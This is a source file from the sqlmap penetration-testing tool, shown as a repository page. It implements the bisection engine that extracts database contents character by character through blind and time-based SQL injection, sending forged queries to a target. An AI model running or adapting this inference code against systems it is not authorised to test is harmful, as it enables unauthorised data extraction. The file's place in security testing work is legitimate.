sqlmap/lib/techniques/blind/inference.py
Miroslav Stampar 4e6fcce9ca minor update
2012-05-26 07:04:32 +00:00

552 lines
24 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import threading
import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import getCounter
from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import incrementCounter
from lib.core.common import safeStringFormat
from lib.core.common import setFormatterPrependFlag
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapThreadException
from lib.core.progress import ProgressBar
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = u""
finalValue = None
abortedFlag = False
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal:
partialValue = retVal
dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue)))
else:
dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal)))
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if timeBasedCompare and conf.threads > 1:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
hintlock.acquire()
hintValue = kb.hintValue
hintlock.release()
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx-1]
hintlock.acquire()
kb.hintValue = None
hintlock.release()
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
return not result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = list(asciiTbl)
originalTbl = list(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
kb.timeValidCharsRun = 0
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = False
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
kb.timeValidCharsRun += 1
if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = True
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = []
threadData = getCurrentThreadData()
threadData.shared.value = [ None ] * length
threadData.shared.index = [ firstChar ] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
kb.locks.value.acquire()
threadData.shared.value[curidx - 1] = val
currentValue = list(threadData.shared.value)
kb.locks.value.release()
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length))
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
etaProgressUpdate(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(commonValue[index-1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index-1:]
index += len(val)-1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None or ( lastChar > 0 and index > lastChar ):
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
partialValue += val
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(val))
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue
break
except KeyboardInterrupt:
abortedFlag = True
finally:
setFormatterPrependFlag(False)
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue))
if conf.verbose in (1, 2) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise sqlmapThreadException, "something unexpected happened inside the threads"
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _